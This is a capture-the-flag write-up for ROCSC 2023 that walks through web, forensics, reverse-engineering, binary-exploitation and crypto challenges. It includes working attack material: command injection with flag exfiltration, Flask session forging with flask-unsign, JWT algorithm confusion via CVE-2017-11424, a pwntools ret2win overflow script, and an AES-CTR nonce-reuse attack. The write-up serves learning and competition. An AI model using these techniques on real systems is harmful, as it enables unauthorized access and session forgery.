ROCSC 2023

Author: Iulian Schifirnet

hashy : web

Proof of Flag

ROCSC{F82590885D27ECD16EB594E2923D16E112B3C46CFC1BAA4ABD13F7802A3A5558}

Summary

There is an input field that encrypts anything you give it into a MD5 format.

Trying to crack the hash using https://crackstation.net/

Proof of Solve

Typically behind this type of challenges there is a system command where you can escape it and get a command injection. We can also see that from the “-“ after the resulted hash which means that this came from stdin.
We can verify that by giving it a known command that would give a common result in order to be cracked:

Trying to decode this on crackstation will give us www-data.
Knowing that the flag is located at /flag we can try to extract it using request-bin.

i-am-php : web

Proof of Flag

CTF{db21629aa63aa7add8be1b2f435d49238243cbf5e87f2b736a691c3f62d647d5}

Summary

We get the source code of the application:

After some analysis we can see that the user input is not properly validated.
The vulnerability lies in the include($this->filePath) line inside the __destruct() method.
The __destruct() method is automatically called when an object is destroyed or goes out of scope. In this code, it includes the file specified by the $filePath property, which is assigned based on the $_GET['param'] value. This means that an attacker can manipulate the $_GET['param'] value to execute arbitrary PHP code.

Proof of Solve

Knowing this we can start chaining our php code using: https://github.com/synacktiv/php_filter_chain_generator

Trying to execute the code:

And we can see that we have successfully exploited this vulnerability. Now the flag is located in the f73… directory so you just need to change the payload to: cat f73*/flag.php

rocker : web

Proof of Flag

CTF{4666c3220395739618c1657045b6b1289817b6e84326b45c7c651aab51a94fe2}

Summary

We get the source code of the application:

We can see that when you are trying to POST to “/“ a session cookie will be created:

└─$ curl -XPOST http://34.159.31.74:31958/ -v
*   Trying 34.159.31.74:31958...
* Connected to 34.159.31.74 (34.159.31.74) port 31958 (#0)
> POST / HTTP/1.1
> Host: 34.159.31.74:31958
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.4 Python/3.10.6
< Date: Sun, 28 May 2023 09:39:34 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 56
< Vary: Cookie
< Set-Cookie: session=eyJ1c2VyX3R5cGUiOiJ1c2VyIn0.ZHMhVg.qXTqDzYA1qLo-B90RF98G_42JA4; HttpOnly; Path=/
< Connection: close
< 
* Closing connection 0
Timestamp key set in session: 2023-05-28 09:39:34.204809

Looking on the code we can see that the app secret key is the current timestamp of the server.
So we can try to bruteforce the timestamp and find the secret key.

Proof of Solve

When I solved the challenge the server’s timestamp was pretty low so I didn’t need to guess that much when the server was started:

#!/usr/bin/env python3
import datetime

"""
26 May 2023 14:11:2326 May 2023 14:11:23
"""

def get_datetime():
	for i in range(60):
		for x in range(60):
			date = datetime.datetime(2023, 5, 26, 13, i, x)
			print(str(date))

get_datetime()

After generating the payloads we can start trying to crack the token using flask-unsign:

flask-unsign --decode --cookie "eyJ1c2VyX3R5cGUiOiJ1c2VyIn0.ZHMhVg.qXTqDzYA1qLo-B90RF98G_42JA4" -w wordlist.lst

Now after cracking the secret key the last thing we need to do is to craft another token and try to access the /flag endpoint:

flask-unsign --sign --cookie "{'user_type': 'admin'}" --secret "2023-05-26 13:03:39"

wheel-of-misfortune : web

Proof of Flag

CTF{8400de2552d48551d36f0a25c40430fc488f035b68bdca4fe3d8875a86a5d037}

Summary

We are given a zip file containing the web application and structure.
Starting to look on the server application code we can see a strange line of code:

jwt.decode(token, app.config['PUBLIC_KEY'], algorithms=['RS256','HS256'])

There is a problem because this is using 2 algorithms on the decryption function.
Also if you look closely on the code you can see that it’s testing if the user luck / 100 is grater than random.random():

if random.random() < user['luck'] / 100:
	return {"status": 7, "message": os.getenv('FLAG')}, 200

So basically if we manage to modify the user’s luck we can give it a very large number so we will be able to get the flag.
The other problem is that if you are looking on the requirments.txt file you can see that the version of pyjwt is 1.5.0 which is vulnerable: https://github.com/silentsignal/rsa_sign2n/tree/release/CVE-2017-11424

Proof of Solve

In order to get the exploit working correctly we need to get the jwt token before trying to spin the wheel and the jwt token after spinning the wheel.
Save the 2 tokens in 2 different files and:
python3.8.10 x_CVE-2017-11424.py $(cat tok1.txt) $(cat tok2.txt)
Once the exploit is finished you will get a .pem file that you will be able to use in order to craft another session token.

#!/usr/bin/env/python3
import jwt

with open("key.pem", "rb") as f:
	content = f.read()

print(content)
session = {'username': f'Hacker', 'money': 5, 'luck': 0x1337}
token = jwt.encode(session, content, algorithm="HS256")
print(token)

Now after the token is created you just need to simply curl the /spin endpoint with the new session token and get the flag.

intruder : network

Proof of Flag

CTF{506f80a01ad6983cc1df148087f3d4fb59e9aacbde60d45766361a5c6b3cbcda}

Summary

We are given a .pcap file that contains a lot of traffic.

We can see that there are a lot of requests that look interesting.
Going on File -> Export Objects we can try to extract the requests. But the only one looking interesting is the first execute request so we will extract just this one.
Looking on the hex of the file we can see something interesting:

Proof of Solve

There is a GIF header which indicates that this could be an image.
Trying to open this will get us a format error so we need to clean this image firstly.
We will use hexedit to replace everything before the GIF header with 00 bytes.

└─$ xxd extracted_image.gif             
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 4749 4638  ............GIF8
000000b0: 3961 a406 9808 f000 0000 0000 0000 0021  9a.............!
000000c0: f904 0100 0000 0021 ff0b 4943 4352 4742  .......!..ICCRGB

Now the problem is that the magic header is very down so we need to get get rid of the bytes before the magic header:

└─$ cat xpl.py 
with open('image_file.gif', 'rb') as file:
    image_bytes = file.read()

# Find the index of "GIF89a" in the byte data
start_index = image_bytes.index(b'GIF89a')

# Remove the bytes before "GIF89a"
modified_bytes = image_bytes[start_index:]

# Create a new file with modified data
with open('new_image_file.gif', 'wb') as new_file:
    new_file.write(modified_bytes)

Now if we try to open the gif image we can see that we got the flag:

analog-signal : forensics

Proof of Flag

ctf{7a56113c90117047d79556ae90ae926b4b163f1ef6f7aa2ad9db3e4296290ada}

Summary

You are given a .wav file that has a strange format. Firstly I didn’t look very in depth on the format of the file and I started find a way to solve the challenge.
I tried LSB and nothing interesting showed up, I tried opening the .wav file in Audacity and look on the Spectrogram but again nothing interesting was found.
After a long time I decided to look again on the format of the file ( WAVE audio, IEEE Float, mono 44100 Hz ) and started to search.

Proof of Solve

After searching for the format I found a post based on CTF wav files ( https://github.com/welchbj/ctf/blob/master/docs/steganography.md )

#!/usr/bin/env python3

import bitstring
import soundfile as sf

def binary(fl):
    bs = bitstring.BitArray(float=fl, length=32)
    return bs.bin

def main():
    data, fs = sf.read('analog-signal.wav')

    for d in data:
        print(binary(d))

if __name__ == '__main__':
    main()

Using the python script gave me something interesting:

└─$ python3 analog.py
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
10111111100000000000000000000000
00111111100000000000000000000000
00111111100000000000000000000000
10111111100000000000000000000000
[...]

As you can see the only thing that changes is the first bit so we will extract just the first bit and see what we get:

└─$ python3 script.py analog_signal.wav 
100111001000101110011001100001001100100010011110110010101100100111001110110011101100110010011100110001101100111111001110110011101100100011001111110010111100100010011011110010001100011011001010110010101100100110011110100110101100011011001111100111101001101011000110110011011100100110011101110010111001110111001110110010011100110010011001110011101001101010011001110010011001100111001000100111101001111011001101100111101001101111000110100110111001110111001100100110101100101111001101110001101100100111001101110001101100111110011110100110111001111010000010 

Trying to decode this didn’t get us anything interesting… So I decided to xor the output with a key that increments for 1 to 256 and we got the flag:

[...]
Key: 254 b'bugz6`47002b81006156e68447`d81`d837c5c072g0dg7g6``3`e8ec2d5387381`e`|'
Key: 255 b'ctf{7a56113c90117047d79556ae90ae926b4b163f1ef6f7aa2ad9db3e4296290ada}'

xarm : reverse enginnering

Proof of Flag

CTF{8604cd0b7ddd5065780e43449aa7aeacdb0316358d73252524d40fa5c5fc5819}

Summary

We get a 32 bit ARM executable and a encrypted flag:

└─$ cat flag.enc    
ER@}>062eb6d1bbb36031>6c2522?gg1gcgebd657053>b15434342b26`g3e3`e3>7?{

Opening the binary in Ghidra we can see that it’s doing a XOR operation on the encrypted flag.

With the following values:

local_c = 0;
memcpy(acStack_70,"If You see this you can decode the flag.txt",0x2c);
memset(auStack_44,0,0x38);
sVar1 = strcspn(acStack_70,"\n");
acStack_70[sVar1] = '\0';
FUN_00010584(acStack_70,0x55,0x45,0x58,0x10,0xa1,0x23,0x25,0x20,0x89,0x56,0x75,0x73);
iVar2 = printf("Encrypted string: %s\n",acStack_70);
if (local_c != 0) {
				/* WARNING: Subroutine does not return */
__stack_chk_fail(iVar2,local_c,0);
}
return 0;
}
Proof of Solve
─$ cat asd.py 
def decrypt_string(encrypted_string):
    decrypted = ""
    for char in encrypted_string:
        decrypted += chr(ord(char) ^ 0x73 ^ 0x75 ^ 0x56 ^ 0x89 ^ 0x20 ^ 0x25 ^ 0x23 ^ 0xa1 ^ 0x10 ^ 0x58 ^ 0x45 ^ 0x55)
    return decrypted

encrypted_string = "ER@}>062eb6d1bbb36031>6c2522?gg1gcgebd657053>b15434342b26`g3e3`e3>7?{"
decrypted_string = decrypt_string(encrypted_string)
print("Decrypted string:", decrypted_string)

luigi : binary exploitation

Proof of Flag

CTF{328f2c6f56d1097d511495607fea09487c84a071379541079795a805da3cc9bd}

Summary

You get a binary executable that print’s the win function. This type of technique is called ret2win and I have a detailed walkthrough on this technique on my blog: https://ischyr.github.io/2023/05/24/ret2win/
The only difference here is that you just need to extract the win function address.

Proof of Solve
#!/usr/bin/env python
from pwn import *
context.log_level='DEBUG'

p = process("./vuln")
elf = ELF("./vuln", checksec=False)
libc = elf.libc
rop = ROP(elf)

def start():
	if not args.REMOTE:
		return process("./vuln")
	else:
		return remote("34.159.31.74", 32496)

p = start()

def main():

	global rop

	print(p.recvuntil(b"Luigi and Mario are true friends for this Mario give flag: "))
	flag = int(p.recvline().strip(b"\n"), 16)
	log.info("Address: " + hex(flag))

	payload = b""
	payload += b"A"*40
	payload += p64(flag)

	p.sendline(payload)
	p.interactive()

if __name__=="__main__":
	main()

combinations : misc

Proof of Flag

CTF{89cd42c9b9aad2cde15ec79f98f989bb78df5cd2b006e5fd4c13b119d442e20b}

Summary

You get a png image called combinations.png that is a little bit too big for a normal PNG file.

Proof of Solve

Using binwalk on the PNG you will get a file called combinations.txt that contains a very big base64 string. By trying to decode it we will find out that it’s an ELF executable that again inside itt contains some PNG files:

└─$ cat combinations.txt| base64 -d | strings | head
/lib64/ld-linux-x86-64.so.2
image_1.pngUT
Zldux
P:QJ
g:w5
hR;Eo
}jek
N_2*
&LLLaaa@
]U,qv

Running again binwalk on it we will extract 6 images that which make up the flag:

The only problem is that when we try to view the images, they are only gonna get worse and worse as we try to see the next picture.
In order to make the pictures look good you need to xor the images between them:

xor(image_one, image_two) -> xor_one_two
xor(xor_one_two, image_three) -> xor_two_three ( this will get us the next visible part of the flag)

So I wrote a python script in order to make things faster:

#!/usr/bin/env python3
from PIL import Image
from sys import argv

def xor_images(image1, image2, output_path):
    img1 = Image.open(image1)
    img2 = Image.open(image2)

    if img1.size != img2.size:
        raise ValueError("Images must have the same dimensions.")

    img1 = img1.convert("RGB")
    img2 = img2.convert("RGB")

    pixels1 = img1.load()
    pixels2 = img2.load()

    result_img = Image.new("RGB", img1.size)
    result_pixels = result_img.load()

    for x in range(img1.width):
        for y in range(img1.height):
            pixel1 = pixels1[x, y]
            pixel2 = pixels2[x, y]
            result_pixel = tuple(p1 ^ p2 for p1, p2 in zip(pixel1, pixel2))
            result_pixels[x, y] = result_pixel

    result_img.save(output_path)
    print(f"XOR image saved to: {output_path}")


image1_path = argv[1]
image2_path = argv[2]
output_path = argv[3]

xor_images(image1_path, image2_path, output_path)

Now the only thing that remains to do is to view the xored images and write the flag.
You could automate this by using some OCR in order to get the flag faster.

threat-hunting : threat hunting

Proof of Flag

GahhMyCodeIsSoAnnoying-MyCodeIsSoComplicated-OhManImTryingToEncodeThisString-ItIsSoFrustrating

Summary

We get a encryption file and a .bin file.

#!/usr/bin/env python3

import os
import multiprocessing
import sys
from scipy.io.wavfile import read
from scipy.io.wavfile import write

def sb(inpstr, encoding='utf-8', errors='err'):
    br = bin(int.from_bytes(inpstr.encode(encoding, errors), 'big'))[2:]
    return br.zfill(8 * ((len(br) + 7) // 8))

def enc(ib, ar, of, a_d=[]):
    for i in range(0, len(ib) - 1):
        a_list = list(bin(a_d[100 + i, 0]))
        a_list[-1] = ib[i]
        a_str = "".join(a_list)
        a_d[100 + i, 0] = int(a_str, 2)
    write(of, ar, a_d)

if __name__ == "__main__":
    inpm = sys.argv[1]
    msgg = " **##**" + " " + inpm + " " +"##**## "
    bm = sb(msgg)
    len_bm = len(bm)
    
    a_inp = sys.argv[2]
    a_out = sys.argv[3]

    fc = read(a_inp)
    ar = int(fc[0])
    a_d = []
    a_d = fc[1].copy()
    
    th = multiprocessing.Process(target=enc, args=(bm, ar, a_out, a_d))
    th.start()
    th.join()

The python encryption script was after some time provided. This was a double hint because as you can see in the imports the file we needed to find was a .wav file and we also got the encryption function that will help us to decrypt the file.

Proof of Solve

After a long time using volatility and trying to get some interesting files I used cmdscan that searches for processes that might contain command history information:

volatility -f threat-hunting.bin --profile=Win7SP1x64 cmdscan
Foundation Volatility Framework 2.6 **************************************************

curl https://we.tl/t-bChZL6XhkW Cmd

Trying to access the we.tl endpoint we get a coded_audio.zip that contains a coded_audio.wav file. Now with the previous information we know that we need to decrypt the coded_audio.wav and get the hidden message:

import os
import multiprocessing
import sys
from scipy.io.wavfile import read
from scipy.io.wavfile import write

def sb(inpstr, encoding='utf-8', errors='err'):
    br = bin(int.from_bytes(inpstr.encode(encoding, errors), 'big'))[2:]
    return br.zfill(8 * ((len(br) + 7) // 8))

def dec(a_d):
    decrypted_bits = ""
    for i in range(0, a_d.shape[0] - 100):
        decrypted_bits += bin(a_d[100 + i, 0])[-1]
    decrypted_str = ''.join(chr(int(decrypted_bits[i:i+8], 2)) for i in range(0, len(decrypted_bits), 8))
    return decrypted_str

if __name__ == "__main__":
    a_inp = sys.argv[1]
    
    fc = read(a_inp)
    a_d = fc[1].copy()
    
    decrypted_msg = dec(a_d)
    print("Decrypted message:", decrypted_msg)

Running the script get us the flag:

─$ python3 dec.py coded_audio.wav | strings
Decrypted message:  **##** GahhMyCodeIsSoAnnoying-MyCodeIsSoComplicated-OhManImTryingToEncodeThisString-ItIsSoFrustrating ##**##!s=

nopce : cryptography

Proof of Flag

CTF{369f0e8fe3df1cc5e3f8f6e2d925f3dc1a3eb46e1399765298e061a48bd3af43}

Summary

We get a AES_CTR encrypted flag that uses the same key and IV

Proof of Solve
#!/usr/bin/env python3
from pwn import *
from binascii import hexlify, unhexlify
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.modes import CTR
from Crypto.Random import get_random_bytes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms

def blocks(txt):
	blocks = []
	block_size = 4
	if len(txt) % block_size != 0:
			txt += b'\0' * (block_size - (len(txt) % block_size))
	for i in range(0, len(txt), block_size):
			block = txt[i:i+block_size]
			blocks.append(block)
	return blocks

def shuffle(ciphertext):
	blks = blocks(ciphertext)
	for i in range(1,len(blks)):
			blks[i-1] = xor(blks[i-1],blks[i])
	return b"".join(blks)

def unshuffle(ciphertext):
	blks = blocks(ciphertext)
	for i in reversed(range(1, len(blks))):
			blks[i-1] = xor(blks[i-1], blks[i])
	return b"".join(blks)

def decrypt(ciphertext):
	decrypted_text = unshuffle(ciphertext)

	decipher = Cipher(algorithms.AES(key), mode=CTR(iv), backend=default_backend())
	decryptor = decipher.decryptor()
	plaintext = decryptor.update(decrypted_text) + decryptor.finalize()

	return plaintext

def main():
	plaintext = cyclic(70)

	p = remote("34.159.31.74", 31469)
	p.recvuntil(b": ", drop=True)
	encrypted_flag = unhexlify(p.recvline().strip())
	print("Encrypted flag: ", encrypted_flag)

	p.recv()
	p.sendline(plaintext)

	p.recvuntil(b": ", drop=True)
	encrypted_text = unhexlify(p.recvline().strip())
	print("Encrypted text: ", encrypted_text)

	shuffed_plaintext = shuffle(plaintext)
	shuffed_flag = xor(shuffed_plaintext, encrypted_text, encrypted_flag)

	print(unshuffle(shuffed_flag))


if __name__=="__main__":
	main()